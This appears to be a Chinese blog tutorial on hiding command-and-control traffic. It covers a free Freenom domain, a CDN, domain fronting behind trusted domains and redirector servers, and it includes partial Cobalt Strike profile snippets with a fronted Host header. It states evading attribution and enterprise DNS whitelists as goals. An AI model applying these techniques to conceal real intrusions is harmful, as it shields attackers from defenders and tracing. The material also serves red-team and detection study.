Freenom借助CDN域前置转发实现C2流量隐藏 2020-11-17 10:29:15 Steven Xeldax ## 准备 ### Freenom 注册,登录购买免费的freenom域名需要使用国外代理,不然在操作的过程中可能会遇到502 bad gateway或者账户锁定等奇奇怪怪的问题。 Freenom的注册账号并不是那么的明显,需要首先进入partners->developers下   点击进去输入email address按照提示步骤就可以注册。 注册一个新的域名  然后选择购买,这一个接下的步骤按照页面的继续就行。  注册完成之后我们就会获得一个免费的域名,我们可以通过my domains来管理自己的已经购买的域名。  默认情况下我们发现使用的是freenom自己的dns解析记录,我们选择更改为第三方的dns nameservers。(**注意不管是更改dns还是nameserver生效都会很慢**)  ### CloudFare DNS模块  客户端加密  ## 理论 一般而言目前利用隐藏的C2技术大概有如下三种: 1. 利用正常的CDN技术来隐藏C2的IP地址。 这种方法需要注册一个**正常的域名**,然后利用CDN配置代理这个正常域名,配置CDN的A解析记录指向C2的IP。这样能够达到的效果就是,CDN可以**隐藏IP通信的流量**,可以保护C2的IP,但是**域名还是会暴露**。技术实现重点:需要一个不备案的域名不然CDN加速出来域名还是会暴露,人家还是能够溯源到你,对于http和http谁都可以使用,对于域前置而言要求使用https。 2. 利用域前置技术来隐藏C2的IP地址和域名。 域前置技术就是利用别人的高可信域名来隐藏自己的真实域名,例如使用谷歌微软的域名伪装自己,这种方法和传统的CDN的区别就是首先是必须使用https,tls的,其次就是CDN只用自己的域名但是域前置可以随便使用别人的域名。这样做的好处是可以**通过一个高信任域名隐藏自己的真实域名和IP**,**并且可以绕过一些企业只建立了白名单DNS域名的限制**。 3. 利用重定向技术来隐藏C2的IP地址。 这个就是顺带说一下,原理就是用两台VPS,一台做重定向,一台做真实的C2,可以达到的效果就是受害者的机器上只会有与重定向机器之间的流量不会有真实C2服务器的流量。 ### 域前置 Domain Fronting,中文译名 “域前置” 或 “域名前置”,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。 Domain Fronting的原理如下:  CDN根据浏览器的Host中的域名来对我们的流量进行转发,也就是说我们可以利用CDN的ip去访问我们自己网站的内容。  ## 实践 ### CobaltStrike实现域前置 将http-get,http-post中的header修改成自己域前置的header ``` http-get { set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books"; client { header "Accept" "*/*"; header "Host" "xxxxxxxxxxxxxx"; metadata { base64; prepend "session-token="; prepend "skin=noskin;"; append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996"; header "Cookie"; } } ``` ``` http-post { set uri "/N4215/adj/amzn.us.sr.aps"; client { header "Accept" "*/*"; header "Content-Type" "text/xml"; header "X-Requested-With" "XMLHttpRequest"; header "Host" "xxxxxxxxxxx"; ``` ## 参考资料 https://www.anquanke.com/post/id/195011 https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%89%8D%E7%BD%AE https://www.sohu.com/a/155351419_804262 https://blog.csdn.net/qq_41874930/article/details/109008708 https://www.cdnfine.com/a/news/mtbd/1414.html https://shallowdream.cn/posts/137b.html